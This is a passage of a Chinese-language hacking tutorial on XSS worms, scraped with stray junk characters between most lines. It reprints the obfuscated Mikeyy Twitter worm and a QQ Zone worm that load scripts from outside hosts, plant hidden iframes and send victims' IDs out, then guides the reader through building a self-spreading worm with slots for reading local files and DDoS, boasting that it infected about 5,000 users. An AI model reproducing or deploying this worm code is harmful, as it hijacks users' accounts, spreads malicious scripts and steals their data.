* \5 E+ |+ e: }. B7 n复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
! d! h1 r+ J6 g1 E( U& m复制代码案例:Twitter 蠕蟲五度發威
& k6 J# G0 i* L3 ^第一版:
  下载 (5.1 KB)

6 天前 08:27
' Q3 ?& }  _2 x; ?4 z; ~/ F/ a
第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  
8 M: Z# c( W8 R' Y( x' Q  j% J
   2.   

   3. function XHConn(){  
! d' n- V; w) d
   4.   var _0x6687x2,_0x6687x3=false;  
% y5 c) e2 C2 s4 P: I) E) h; W
. }. R, }$ y5 b- h+ [9 q   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  
7 E' |" z* t) u  v- l& b2 L
3 H5 b. `5 O/ m2 E6 o   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  
2 }/ }0 M6 A$ _6 Z8 b, M2 [6 [
   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  

: A. d# y$ O# F0 a6 e% ~   8.   catch(e) { _0x6687x2=false; }; }; };  
复制代码第六版:   1. function wait() {  

   2.   var content = document.documentElement.innerHTML;  
* C: `. o  _: S  p
/ Z* M* V5 S3 ^1 J9 I' d   3.   var tmp_cookie=document.cookie;  

   4.   var tmp_posted=tmp_cookie.match(/posted/);  
% M0 g/ s! G5 W9 M
   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  
; D2 \2 J' R" u- c1 T9 _
   6.   var authtoken=authreg.exec(content);  

   7.   var authtoken=authtoken[1];  

& ]: y! @# S) [2 t1 r; V1 ?0 A   8.   var randomUpdate= new Array();  

   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  

( x8 \* K, t# @  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

0 n; c" W) j* ]2 k( n& b- B. g2 G  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  
% T/ p( @) {  J: M9 u
/ D3 L: n2 _. }  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  

  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  

  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  
8 {) W9 X4 i* y! Q8 ?" `& S
9 k1 ^: F2 J; X$ ~# v  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  
! d* P2 Y- G# O: f* @/ s
  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  
0 l, O; X. b' R4 p  b1 a- s! \1 M
  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  
4 Y% C; {' G& j' Q7 M
  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  

% Q, u* K3 }! ^9 [. f  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  
* @, `/ H" V4 d. \) |
  r& r. B8 y* a3 P  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  

. f5 Y- V  j, |1 l. \" d  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  
: q6 d& L' A! n* q$ p& X
  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  

  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  
8 g' W% Y+ z; K; M+ Z! g
  24.     
# h- {3 |4 h# P  J' W
  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  

* w/ l2 c# c+ Y7 q. `' p' H  26.   var updateEncode=urlencode(randomUpdate[genRand]);  
: s7 D4 s7 G  g6 I  U5 F/ }# O
  27.     
: \) q0 h9 F' ~5 Q, j7 |: z- x9 I
  28.   var ajaxConn= new XHConn();  

  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  

  30.   var _0xf81bx1c="Mikeyy";  

1 c; E2 @* ^, [6 `, U8 A5 j  31.   var updateEncode=urlencode(_0xf81bx1c);  

  32.   var ajaxConn1= new XHConn();  

  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  
! s5 S2 M2 W+ n) b1 M% ]$ i
$ G+ D7 Z0 U+ F; l9 D  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  

  35.   var XSS=urlencode(genXSS);  
8 K/ N! h, _9 p$ A' d9 ?
4 i4 m' @. t3 G' j0 k8 [  36.   var ajaxConn2= new XHConn();  

  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  
0 F( z$ `% {+ X# _7 D1 A3 L
: X& X- W, W1 N- L; @8 `. Z  38.     

, W. e5 F1 w; V' W% _3 T! F  39. } ;  
% Q( E) l6 o; ?
+ Q; U5 I% F6 h& _( F  40. setTimeout(wait(),5250);  
复制代码QQ空间XSSfunction killErrors() {return true;}

window.onerror=killErrors;
9 `( ~5 i! _! `; H8 E/ h
4 U2 y$ i: @# b/ Q8 D& @+ Q
. ^, @) V* ]: |5 w
var shendu;shendu=4;

//---------------global---v------------------------------------------

//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？
3 t5 Y0 \+ m8 s5 _9 u6 V* f
var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";

6 @* g1 }0 f; g: }# ovar myblogurl=new Array();var myblogid=new Array();
* Z6 H8 a& G+ i1 L8 C$ S( b" v
        var gurl=document.location.href;

        var gurle=gurl.indexOf("com/");
; T. w+ j1 z/ C! E/ u/ u$ n/ Y
        gurl=gurl.substring(0,gurle+3);        
, k8 O5 F/ f! x  j1 X) J7 s. L
" I7 q; k  M3 e; Z/ Z% ?6 M        var visitorID=top.document.documentElement.outerHTML;
2 q9 Z4 i9 @( g) t, _% ~1 f
           var cookieS=visitorID.indexOf("g_iLoginUin = ");
+ Z4 `, [) O  q& l  S" n' D& F
        visitorID=visitorID.substring(cookieS+14);

/ {/ e1 U1 Y8 g1 k        cookieS=visitorID.indexOf(",");

- H3 K1 }8 [# n* S        visitorID=visitorID.substring(0,cookieS);

. B0 n7 H$ F6 B6 O$ j        get_my_blog(visitorID);
; s9 F) t8 \/ @8 B
8 w  u- s8 ]- z        DOshuamy();



) z( x* G$ H2 x+ E# Q//挂马
5 i: L! A7 O) X
  |9 I4 v; _  D" h0 Ifunction DOshuamy(){

var ssr=document.getElementById("veryTitle");
. I& N$ x4 a6 c1 W6 w& K
ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
9 k+ L) g6 K( {8 M
}
' i& ?8 S, Q  \4 f1 @. x
4 W' v" U+ t/ n" t2 j% j: t+ F% B4 M

6 [! D2 @4 j! D5 k. o//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？

function get_my_blog(visitorID){

" J' o3 j7 x" d& x- V# m% q3 @   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";

   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象
0 x( @2 t, V; ~. m
   if(xhr){    //成功就执行下面的
7 u1 L' x* F+ d3 s- F8 s8 n
     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL

     xhr.send();guest=xhr.responseText;
' ^& m" `# q. n6 \+ `
     get_my_blogurl(guest);    //执行这个函数

    }

) Q/ E: F9 v6 A" v}



//这里似乎是判断没有登录的

function get_my_blogurl(guest){

  var mybloglist=guest;
4 R# A' |/ E5 {; k8 B3 C, x, u
  var myurls;var blogids;var blogide;
4 ~* M+ q* k8 T# h& b& k
! t1 D+ x6 M8 R' m4 p& z5 ?, L1 C  for(i=0;i<shendu;i++){
4 ~4 ^! ]( Y  n1 r* D7 {6 j0 R* X3 K
     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了
% v) T$ v) P# V' c3 ^" D% e" X% ^
3 B8 P6 C5 V" L1 I     if(myurls!=-1){    //找到了就执行下面的

         mybloglist=mybloglist.substring(myurls+11);
# T# s7 I0 Z( |5 U, o5 K: ^
3 A2 Q# [4 h  C! A) J! A         myurls=mybloglist.indexOf(')');

6 x% Q  v& L: l+ l         myblogid=mybloglist.substring(0,myurls);

        }else{break;}
2 L% m- w) F% ]" ]& d7 {
+ X$ _; @  F9 I  P}
2 k0 o# A2 v; j8 U1 p
get_my_testself();    //执行这个函数
: a  M2 e) F) o
}

1 |6 i# W& c3 h8 z8 G
# I6 w* }% l0 _+ z# U# S/ l
' j& N0 i  A! }6 ]8 P- f//这里往哪跳就不知道了

1 @1 u- i& Q$ t6 I4 Nfunction get_my_testself(){

. _2 R( X% j1 ~  for(i=0;i<myblogid.length;i++){    //获得blogid的值
' i8 Y. Q) o: \7 `/ w
      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
) N$ s$ }' v, z0 S7 [- b0 u  O& f
      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象

      if(xhr2){        //如果成功

3 L" C1 E! m1 j" W7 j% m4 ~              xhr2.open("GET",url,false);     //打开上面的那个url

' n0 ]" h+ Y1 }$ |8 V              xhr2.send();

- k* e8 \$ m* R0 ^# _0 Z) U6 k              guest2=xhr2.responseText;
# h$ Q5 g( y" i* q
# u! {( q$ V: |3 M3 X              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？
1 b# S* Y2 i+ ?% B% P2 W) O
. z- u" L5 u+ w8 g1 ], {              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
; Q! |- T% u) N- l* E& F
              if(mycheckmydoit!="-1"){    //返回-1则代表没找到

                targetblogurlid=myblogid;   
/ s$ z, ^9 V- L1 w5 m; p& x0 D
# L1 v. }- ?* ]+ C                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它
! Q5 u% q- u. H+ k
                break;
, s8 A5 `! h+ y& h; C8 s
+ f9 Z# {! H# g               }
* }# F! J! A; N6 a' G
6 p5 v- H7 p+ L" l              if(mycheckit=="-1"){

                targetblogurlid=myblogid;

% O4 F/ ^/ m, X/ l0 a' T) k                add_js(visitorID,targetblogurlid,gurl);    //执行它

/ d' r6 G' R& R8 B' a0 {3 o" P                break;
2 K& ~5 K6 X( g5 N, i$ ?+ K! X
               }

        }      

}
: {- P# U0 c& w& O* i
}


  t+ D' i  _8 k. L) u4 M
//--------------------------------------  

//根据浏览器创建一个XMLHttpRequest对象

function createXMLHttpRequest(){

' F* L% K2 j* h6 B+ k% J    var XMLhttpObject=null;  
! [0 n8 w6 J+ z
$ G( X* \/ K, a8 r2 _! n6 a    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
* v+ g' x; l8 R* M" X( y
    else  
1 o: [( _2 }  i. B6 k4 e
0 p1 ?% K& }0 X7 G# b1 s      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
3 ^% ?" p8 s. ^" X3 K9 Z0 K
5 f: h  [4 R& p        for(var i=0;i<MSXML.length;i++)  

        {  

            try  

) d' q2 z# ^- {2 j# D            {  

                XMLhttpObject=new ActiveXObject(MSXML);  

# h+ w; d  c! D, D5 b, N3 U/ ^                break;  

            }  

            catch (ex) {  

            }  
$ G! q; Z9 K2 S( Q7 K; V
+ ]+ o/ ^* y8 P! u* Z3 D         }  
" U* u% }4 v2 a
      }
; Q% ?3 T" `! [) m. p5 {3 B! m) a
) S: A$ [3 w* _9 xreturn XMLhttpObject;
" Q6 u3 ]3 @9 `; K4 u
}  
0 u0 J2 h; G- E% D


/ W. d% t3 M& ]& C8 l//这里就是感染部分了
2 Q8 ^  L! d( P
  m6 S  }  ~( _% bfunction add_js(visitorID,targetblogurlid,gurl){
$ V: e/ A( ?5 F/ B# d! q
var s2=document.createElement('script');
/ N: R2 Q9 B( B7 D
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
2 h5 }. b* d' t2 ~9 G2 g, K' |
s2.type='text/javascript';
: N+ ?- Z, M4 K' Z1 k
8 I' @1 Y5 }- g) ?6 \document.getElementsByTagName('head').item(0).appendChild(s2);
' Q/ V5 G7 r* Y! M3 z
: m0 r3 X) R8 e- G3 ?2 q}

2 x1 m. l/ I/ w+ p- }; Q( S
. |; t( {" }8 h: C4 d
function add_jsdel(visitorID,targetblogurlid,gurl){

) _" B* N0 Y8 {% Svar s2=document.createElement('script');

s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

( U1 r3 j; ]. O+ ^) i0 I4 i) Js2.type='text/javascript';

document.getElementsByTagName('head').item(0).appendChild(s2);
: e7 K) ?) @& K; n7 t& Z0 U" a
}
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
' u9 x7 ]) E" Y# r  p& Z4 g) `1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
! ^! U+ r  x( I$ ~+ M4 g, N
" }. i2 P( H  k2 ~2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
5 f) J5 I0 X  m
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
( ]  l' x8 ^5 W- Z4 E2 {

" Q7 a& j7 g8 `. Q4 X* ?下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.

首先,自然是判断不同浏览器,创建不同的对象var request = false;

; i, }; c5 T" W2 M! o8 K8 ]if(window.XMLHttpRequest) {
. j1 r1 ]4 l( a! F- [  f
request = new XMLHttpRequest();
9 N! E& t/ I/ J# r& i; g
! s9 C' F& m' b/ o. w* h5 kif(request.overrideMimeType) {
2 ~+ m$ o7 I5 |* M7 Z% y! n  [
  k, h5 i% U- }( G! xrequest.overrideMimeType('text/xml');

* f  @. b  o. d}
' ]: t* }; _2 @7 a% c2 m) S/ A
} else if(window.ActiveXObject) {
! e) v, w9 n* P- I' R- E
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

: s) K" @. q- bfor(var i=0; i<versions.length; i++) {

try {
7 b9 p3 q1 a2 ]$ w  F
: q( z3 w) {% u7 Srequest = new ActiveXObject(versions);
4 l& D0 J9 l5 l1 R2 {/ i6 ?/ o
+ _, Q9 A2 `. d% A+ V( ^} catch(e) {}

}
1 s; x$ M4 Y+ M+ f. U( p0 [
}

% U. l! i8 S4 BxmlHttpReq=request;
复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){

1 s. H7 D. f6 Q& f        var Browser_Name=navigator.appName;
% R0 f- x7 w/ ~
# q9 G) T# N6 |3 R* e1 n- O        var Browser_Version=parseFloat(navigator.appVersion);
, e# ?# [6 i" P- Z! N  X
        var Browser_Agent=navigator.userAgent;
* h: W+ Y. f0 P5 l$ ~+ p
        
" J6 @, n0 ?) N$ E' V3 E9 i6 r
        var Actual_Version,Actual_Name;
' h- G' |7 q- y( j  }
        

) i# J. l! N7 _        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
1 Q3 Z6 _$ u4 E6 f: ^, H  G/ E
8 N0 B! W! x3 y        var is_NN=(Browser_Name=="Netscape");
  u& j# n  I7 f$ w" B# }
        var is_Ch=(Browser_Name=="Chrome");

3 B6 i  o& H+ f! q" R        
8 b2 U2 r/ T. r" N( R
* ~% X* _* ?# e+ c        if(is_NN){

            if(Browser_Version>=5.0){
( j+ g$ n' j( [- q! |0 e* E
1 m$ ~( y$ l" x6 S; ?                var Split_Sign=Browser_Agent.lastIndexOf("/");
- Z; ^5 }7 ^0 t) u# N
+ P7 O! j- R4 m9 C/ A                var Version=Browser_Agent.indexOf(" ",Split_Sign);

                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);

- d: F0 d$ Y* D1 t& }
9 R5 `7 ]+ H1 o
                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
) C: w# `- b$ e2 v/ ?
0 L& P# ~. s. }- l                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);

            }
: Q0 F0 S' e9 L8 B
$ ?4 T" _  E. g# S$ [* M            else{
+ ^6 N' `* F3 |* A+ V  D! M( z
& s8 e( g0 Y$ a/ y" o" |                Actual_Version=Browser_Version;
$ d0 a' u* n  z
/ j; d, k( L: e* L8 U9 H& N                Actual_Name=Browser_Name;

            }
3 i. I" F$ E+ x- a2 w2 A6 D
' M( x$ h7 Y4 T; Z        }
5 ^$ j& Z1 Y/ H
        else if(is_IE){
# g' h# ^% f1 S9 |5 {  B$ Z! ^2 [3 X
2 l: J8 Y2 n) x, t; i/ j  W! O            var Version_Start=Browser_Agent.indexOf("MSIE");
) F& b/ h6 M( z7 c$ N3 ~$ }1 M
# \: S$ t8 W. u            var Version_End=Browser_Agent.indexOf(";",Version_Start);

            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

0 P$ f- K; F2 U1 z3 x* k( R            Actual_Name=Browser_Name;

& M$ o; S# e1 L$ ^            
( V! ]" ^8 y3 z8 i6 v: a2 |# M2 X
* o3 i6 G: z1 G            if(Browser_Agent.indexOf("Maxthon")!=-1){

/ a' ~! k. Q$ H0 ~. y& \$ \                Actual_Name+="(Maxthon)";
& K8 Y& y% z# s3 L$ T/ `; B4 k
& @- _) p( x; ?5 X            }
4 n- V6 g. J! n- W5 E
            else if(Browser_Agent.indexOf("Opera")!=-1){
) J/ z  i2 K- g) V$ h6 q
% `  `& q- z: x) R6 e" j                Actual_Name="Opera";
8 W: o  B$ k; l  Y# K. ~6 t
8 U, X2 ^" ~6 {; y+ D# T2 l                var tempstart=Browser_Agent.indexOf("Opera");
% C) F, n- a7 v) y; T8 [
                var tempend=Browser_Agent.length;

                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

/ c4 L2 d7 P% F5 A$ T2 C- B            }
( O* c5 ^8 `7 J$ d) b! q
        }
: C0 Y" J, T: h) g6 B
' A' P; m6 ^' v5 P% B        else if(is_Ch){

" _! b$ a7 y8 y; E: k4 L- f$ i( \            var Version_Start=Browser_Agent.indexOf("Chrome");

            var Version_End=Browser_Agent.indexOf(";",Version_Start);
0 X# t* M6 X2 H. M! U2 |
8 {7 _0 V/ y& F1 r) B& j4 x            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

6 _" \  G7 Z; q9 h# q/ X. ?            Actual_Name=Browser_Name;
+ f" T1 t1 P, [
            
+ f3 J$ ]7 S. ^! `! n4 e
3 `1 u3 Z- a, q& c4 e            if(Browser_Agent.indexOf("Maxthon")!=-1){

                Actual_Name+="(Maxthon)";

2 Y) }- q- _) v            }

4 W" c4 K6 Z/ E1 Y  _9 h: Y9 x            else if(Browser_Agent.indexOf("Opera")!=-1){

                Actual_Name="Opera";

, S' l. I5 n0 h# |: }                var tempstart=Browser_Agent.indexOf("Opera");

                var tempend=Browser_Agent.length;

                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
: {* F! w& C  B  v2 u
  ~1 K9 m3 Y* K+ K9 I) i) O            }
) R1 s9 Y6 ?- W4 X
        }
, @# N* I: F, }5 u# C
        else{

9 _' _4 Z1 Y4 P( b$ W# B! I            Actual_Name="Unknown Navigator"
6 B! d. y6 }, o9 @% h+ Z: F  s6 q1 v
, |: j# H' v# u7 k5 j; O            Actual_Version="Unknown Version"
0 {9 B" K6 d0 I. r/ J6 y
        }


0 C6 J& D0 E0 ]) m0 ]: u* D; M% ?9 o
        navigator.Actual_Name=Actual_Name;
) X. x+ z- D* ~: j( ^) }9 N& I
" k0 l( R. ~% I+ J        navigator.Actual_Version=Actual_Version;

        
/ Z0 Y/ v9 Q; N
0 d4 c) p8 |6 L0 h4 i( O        this.Name=Actual_Name;

. d6 N! s  R! L. i9 K+ J6 a2 t4 Y        this.Version=Actual_Version;

    }
3 F+ z) |4 `/ b
    browserinfo();

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
- W. D# l3 A7 _, C
( n8 p7 Z; D6 e4 b8 M% W    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}

- j! n; N( w* w) f3 O: G    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
& a3 D2 q" w2 I. s
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
) ]& p  ?- U$ E, i+ u7 h  D2 S- i, @: s复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
/ A! e8 z: R6 }复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
3 y  {4 _8 F$ N( C! }" a复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.

( h9 q- I3 z9 I, S3 axmlHttpReq.send(null);

var resource = xmlHttpReq.responseText;

var id=0;var result;

var patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
- H6 K+ G# G4 R
: O; u; j: J& ]# g  z# dwhile ((result = patt.exec(resource)) != null)  {
) `/ F7 F) x" P# A  n3 X4 L
id++;

3 j( z; E( Q/ z5 T# b+ E}
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.

no=resource.search(/my name is/);
' F; c% G% c3 T) Y
var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
% J+ B7 S& h; m( v6 _
1 H# F  h% E: Mvar post="wd="+wd;

xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.
) v* |6 l; T0 w  B
$ b) g) |  t5 [" L/ P0 xxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
) A) Z9 V; T8 u) ]* u
  b: v  `0 b8 t) m/ F3 ?/ SxmlHttpReq.setRequestHeader("content-length",post.length);
/ \' f0 l6 N* s) f
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

& \: _5 O+ g& j& c- J6 r. h$ `- PxmlHttpReq.send(post);

}
$ Q" d$ ]# n/ A& H- i% P7 ~复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{

var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
) \( Q9 _$ Q2 I& x! G; `( O! r8 n0 W
var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
- y4 r  ]: Y( w! _8 A' F
' I+ i9 b  u' _$ Zvar wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
: |$ j/ L4 t/ {  i8 w
, Y' s) r. Y! c; J. W) a& p+ Vvar post="wd="+wd;

xmlHttpReq.open("OST","http://vul.com/vul.jsp",false);

xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
  m; s! d( {) c# B* K7 @2 r5 p
" F$ \7 X4 {& {. ?/ S# a, S' ~( |& {) WxmlHttpReq.setRequestHeader("content-length",post.length);
& Y$ B4 ?. B, d6 _' n* L
/ i* y7 i* m; ~" E' Y4 R# j% s* [8 O3 xxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
6 x( \- ?# [% R
xmlHttpReq.send(post);                 //把传播的信息 POST出去.
: d) _. Z) ]# o2 u
0 d% E9 e( i; l( w1 @6 |+ m( d}
复制代码-----------------------------------------------------总结-------------------------------------------------------------------

& w1 @3 t1 m( a( z2 Y2 v2 v
) m9 `$ t# i( X; |
, {( F6 B6 ~6 [; z, E, y本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
" o- Z6 c, y. s+ t% O9 j) V8 Q操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.


- g+ B$ Y" F! Y) F
, M: r4 U; z- J- I8 T) B. Y

% ?9 e9 A: O" Q2 |% N& ^. u* J; g- ?4 O


# U8 g7 R  F7 f5 \2 d* g本文引用文档资料:

"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
Other XmlHttpRequest tricks (Amit Klein, January 2003)
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
空虚浪子心BLOG http://www.inbreak.net
  G# b; A* [- UXeye Team http://xeye.us/
; H" m3 ?8 @4 T' X